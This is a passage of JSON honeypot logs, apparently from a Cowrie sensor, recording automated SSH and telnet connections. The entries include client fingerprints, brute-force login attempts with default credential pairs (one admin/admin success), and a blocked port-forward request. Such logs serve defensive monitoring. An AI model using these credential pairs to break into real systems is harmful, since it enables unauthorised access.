{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:39.188902Z","src_ip":"14.225.205.58","session":"fe03b022caeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":52352,"dst_ip":"10.17.0.5","dst_port":22,"session":"b489c503cc3c","protocol":"ssh","message":"New connection: 80.94.92.186:52352 (10.17.0.5:22) [session: b489c503cc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:12.736820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:12.845011Z","src_ip":"80.94.92.186","session":"b489c503cc3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:12.849164Z","src_ip":"80.94.92.186","session":"b489c503cc3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:13.951292Z","src_ip":"80.94.92.186","session":"b489c503cc3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:15.320642Z","src_ip":"80.94.92.186","session":"b489c503cc3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":34816,"dst_ip":"159.203.135.109","dst_port":22,"session":"19f5f2e70749","protocol":"ssh","message":"New connection: 101.47.159.125:34816 (159.203.135.109:22) [session: 19f5f2e70749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:22.246477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:22.251568Z","src_ip":"101.47.159.125","session":"19f5f2e70749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:22.490903Z","src_ip":"101.47.159.125","session":"19f5f2e70749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"password@123","message":"login attempt [administrator/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:23.479010Z","src_ip":"101.47.159.125","session":"19f5f2e70749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:24.727194Z","src_ip":"101.47.159.125","session":"19f5f2e70749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":55672,"dst_ip":"159.203.135.109","dst_port":22,"session":"167e227ce777","protocol":"ssh","message":"New connection: 103.91.246.101:55672 (159.203.135.109:22) [session: 167e227ce777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:30.690353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:30.696386Z","src_ip":"103.91.246.101","session":"167e227ce777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:30.919293Z","src_ip":"103.91.246.101","session":"167e227ce777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"diradmin","password":"123456","message":"login attempt [diradmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:31.835111Z","src_ip":"103.91.246.101","session":"167e227ce777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:33.065352Z","src_ip":"103.91.246.101","session":"167e227ce777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":39344,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5fdd8021825","protocol":"ssh","message":"New connection: 14.225.205.58:39344 (159.203.135.109:22) [session: a5fdd8021825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:37.067970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:37.074210Z","src_ip":"14.225.205.58","session":"a5fdd8021825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:37.333588Z","src_ip":"14.225.205.58","session":"a5fdd8021825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssw0rd","message":"login attempt [ubuntu/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:38.405295Z","src_ip":"14.225.205.58","session":"a5fdd8021825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:39.669518Z","src_ip":"14.225.205.58","session":"a5fdd8021825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":53936,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9b35d8fba6","protocol":"telnet","message":"New connection: 180.235.129.180:53936 (10.17.0.5:23) [session: 3d9b35d8fba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:47.308409Z"}
{"eventid":"cowrie.session.closed","duration":5.950873613357544,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:16:53.259142Z","src_ip":"180.235.129.180","session":"3d9b35d8fba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23588,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc325d5354bd","protocol":"ssh","message":"New connection: 87.251.64.176:23588 (10.17.0.5:22) [session: cc325d5354bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:16.249602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:16.254781Z","src_ip":"87.251.64.176","session":"cc325d5354bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:16.355249Z","src_ip":"87.251.64.176","session":"cc325d5354bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:16.652739Z","src_ip":"87.251.64.176","session":"cc325d5354bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:16.752943Z","session":"cc325d5354bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:16.852083Z","src_ip":"87.251.64.176","session":"cc325d5354bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:16.952111Z","src_ip":"87.251.64.176","session":"cc325d5354bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":34638,"dst_ip":"159.203.135.109","dst_port":22,"session":"78e896e7aa58","protocol":"ssh","message":"New connection: 103.91.246.101:34638 (159.203.135.109:22) [session: 78e896e7aa58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:33.143074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:33.148550Z","src_ip":"103.91.246.101","session":"78e896e7aa58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:33.385828Z","src_ip":"103.91.246.101","session":"78e896e7aa58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"P@ssw0rd","message":"login attempt [ftptest/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:34.364903Z","src_ip":"103.91.246.101","session":"78e896e7aa58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":34806,"dst_ip":"159.203.135.109","dst_port":22,"session":"077a733cc65b","protocol":"ssh","message":"New connection: 14.225.205.58:34806 (159.203.135.109:22) [session: 077a733cc65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:35.117047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:35.121283Z","src_ip":"14.225.205.58","session":"077a733cc65b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:35.374383Z","src_ip":"14.225.205.58","session":"077a733cc65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:35.606076Z","src_ip":"103.91.246.101","session":"78e896e7aa58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe@123","message":"login attempt [ubuntu/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:36.415390Z","src_ip":"14.225.205.58","session":"077a733cc65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:17:37.672040Z","src_ip":"14.225.205.58","session":"077a733cc65b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":34778,"dst_ip":"159.203.135.109","dst_port":22,"session":"882a030efad8","protocol":"ssh","message":"New connection: 101.47.159.125:34778 (159.203.135.109:22) [session: 882a030efad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:20.344640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:20.349590Z","src_ip":"101.47.159.125","session":"882a030efad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:20.590207Z","src_ip":"101.47.159.125","session":"882a030efad8","protocol":"ssh"}
